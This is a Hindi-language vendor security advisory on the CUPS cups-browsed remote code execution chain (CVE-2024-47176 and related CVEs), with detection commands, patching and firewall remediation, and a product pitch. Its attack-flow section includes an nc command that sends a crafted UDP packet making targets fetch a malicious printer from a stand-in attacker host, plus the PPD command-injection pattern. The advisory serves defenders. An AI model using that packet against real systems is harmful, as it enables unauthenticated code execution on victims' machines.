剣 KENSAI
क्रिटिकल CVE-2024-47176 अक्टूबर 2024 · 9 मिनट पढ़ें

CVE-2024-47176: CUPS Linux RCE — 300K इंटरनेट-एक्सपोज़्ड सिस्टम

चार CUPS भेद्यताओं (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) की एक चेन cups-browsed चलाने वाले Linux सिस्टम पर अनऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन को सक्षम बनाती है। खुलासे के समय 300,000 से ज़्यादा सिस्टम इंटरनेट-एक्सपोज़्ड थे। यह डिफ़ॉल्ट रूप से Ubuntu, Debian, Red Hat, Fedora, और ज़्यादातर Linux डिस्ट्रीब्यूशन को प्रभावित करता है।


9.9
गंभीर
विशेषतामान
प्राइमरी CVECVE-2024-47176
संबंधित CVECVE-2024-47076, -47175, -47177
CVSS VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-20: अनुचित इनपुट वैलिडेशन
प्रकाशित26 सितंबर 2024
शोषणसार्वजनिक PoC — अवसरवादी स्कैनिंग देखी गई

CVE-2024-47176 क्या है?

CUPS (Common Unix Printing System) Linux और macOS पर डिफ़ॉल्ट प्रिंटिंग इन्फ़्रास्ट्रक्चर है। cups-browsed डेमन नेटवर्क पर प्रिंटर घोषणाओं के लिए UDP पोर्ट 631 पर सुनता है। CVE-2024-47176 चार-भेद्यता चेन में एंट्री पॉइंट है: cups-browsed बिना ऑथेंटिकेशन के इंटरनेट सहित किसी भी स्रोत से UDP पैकेट स्वीकार करता है।

पोर्ट 631 पर एक क्राफ़्टेड UDP पैकेट भेजकर, हमलावर पीड़ित के सिस्टम को हमलावर-नियंत्रित "प्रिंटर" से वापस कनेक्ट करने पर मजबूर कर सकता है। दुर्भावनापूर्ण प्रिंटर एक क्राफ़्टेड PPD (PostScript Printer Description) फ़ाइल देता है जिसमें एम्बेडेड कमांड होते हैं। जब पीड़ित कुछ भीप्रिंट करता है, तो वे कमांड उसके सिस्टम पर निष्पादित हो जाते हैं।

पूरी अटैक चेन

CVEकंपोनेंटविवरण
CVE-2024-47176cups-browsedUDP 0.0.0.0:631 पर बाइंड होता है, किसी भी IP से पैकेट स्वीकार करता है
CVE-2024-47076libcupsfiltersPPD फ़ाइल बनाते समय IPP विशेषता-मान सैनिटाइज़ नहीं किए जाते
CVE-2024-47175libppdPPD फ़ाइल जनरेशन IPP विशेषताओं को सैनिटाइज़ नहीं करता
CVE-2024-47177cups-filtersFoomaticRIPCommandLine मनमाना कमांड एक्ज़ीक्यूशन की अनुमति देता है

अटैक फ़्लो

# Step 1: Attacker sends UDP packet to target:631
echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631

# Step 2: cups-browsed fetches IPP attributes from attacker's server
# Attacker's server returns malicious printer attributes

# Step 3: libcupsfilters/libppd creates PPD with unsanitized attacker data
# PPD contains: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]"

# Step 4: Next time any user prints (or admin triggers test print):
# FoomaticRIP executes the command from the PPD
# Command runs as the lp user (often has significant filesystem access)

⚠ सेटअप के बाद किसी यूज़र इंटरैक्शन की ज़रूरत नहीं

हमलावर को दुर्भावनापूर्ण प्रिंटर स्थापित करने के लिए बस एक UDP पैकेट भेजना होता है। इसके बाद जब भी सिस्टम पर कोई यूज़र प्रिंट करने की कोशिश करता है, शोषण ट्रिगर हो जाता है — जिसमें रूटीन प्रिंट जॉब भी शामिल हैं जो घंटों या दिनों बाद हो सकते हैं। सर्वर पर, हमलावर नए इंस्टॉल किए गए दुर्भावनापूर्ण प्रिंटर को प्रिंट जॉब भेजकर रिमोट रूप से शोषण ट्रिगर भी कर सकता है।

प्रभाव का दायरा

खुलासे के समय, Shodan और Censys स्कैन ने लगभग 300,000 इंटरनेट-एक्सपोज़्ड सिस्टम की पहचान की जिनका UDP पोर्ट 631 खुला था। यह भेद्यता लगभग हर प्रमुख Linux डिस्ट्रीब्यूशन को प्रभावित करती है जो cups-browsed शिप करता है:

macOS प्रभावित नहीं है क्योंकि यह अपना ख़ुद का प्रिंटिंग स्टैक इस्तेमाल करता है। हालाँकि, macOS भी आंतरिक रूप से CUPS इस्तेमाल करता है, इसलिए कुछ कॉन्फ़िगरेशन संबंधित समस्याओं से प्रभावित हो सकते हैं।

पहचान

# Check if cups-browsed is running
systemctl status cups-browsed
ps aux | grep cups-browsed

# Check if UDP 631 is exposed
ss -ulnp | grep 631
netstat -ulnp | grep 631

# Check for unexpected printer additions
lpstat -a
cat /etc/cups/printers.conf | grep -i "deviceuri\|remote"

# Look for suspicious PPD files
find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf

# Check logs for unexpected IPP connections
grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"

सुधार

  1. अगर ज़रूरत न हो तो cups-browsed रोकें और अक्षम करें:
    sudo systemctl stop cups-browsed
    sudo systemctl disable cups-browsed
  2. पैच लागू करें: cups-browsed 2.0.1 और cups-filters 2.0.1 इन भेद्यताओं को ठीक करते हैं। Ubuntu, Debian, और Red Hat ने खुलासे के कुछ ही दिनों के भीतर पैच जारी किए।
  3. फ़ायरवॉल पर UDP पोर्ट 631 ब्लॉक करें: बाहरी पैकेट को cups-browsed तक पहुँचने से रोकें
    sudo iptables -A INPUT -p udp --dport 631 -j DROP
    sudo ufw deny 631/udp
  4. अगर ज़रूरत न हो तो FoomaticRIP हटाएँ: अंतिम RCE चरण के लिए foomatic-rip चाहिए। इसे हटाने से (अगर Foomatic प्रिंटर इस्तेमाल नहीं होते) कोड एक्ज़ीक्यूशन क्षमता ख़त्म हो जाती है।
  5. प्रिंटर कॉन्फ़िगरेशन का ऑडिट करें: इसमें से किसी भी अपरिचित प्रिंटर एंट्री को हटाएँ: /etc/cups/printers.conf

💡 ज़्यादातर सर्वर भेद्य नहीं हैं: Linux के सर्वर इंस्टॉलेशन आमतौर पर डिफ़ॉल्ट रूप से cups-browsed इंस्टॉल नहीं करते। ज़्यादा जोखिम Linux वर्कस्टेशन और डेवलपमेंट मशीनों में है। हालाँकि, प्रिंटिंग के लिए कॉन्फ़िगर किए गए किसी भी Linux सिस्टम का ऑडिट किया जाना चाहिए।

KENSAI पहचान क्षमता

आपके एनवायरनमेंट में कितने Linux सिस्टम पर cups-browsed एक्सपोज़्ड है?

KENSAI आपके सभी Linux सिस्टम पर CUPS भेद्यताओं के लिए आपकी इंटरनल और बाहरी अटैक-सतह को स्कैन करता है। मिनटों में पूरी तस्वीर पाएँ।

CUPS एक्सपोज़र खोजें →

संबंधित लेख

CISAがパッチ期限を短縮、ホワイトハウスがサイバー戦略を改定 Divergência cibernética EUA-UE se intensifica रीडायरेक्ट हो रहा है...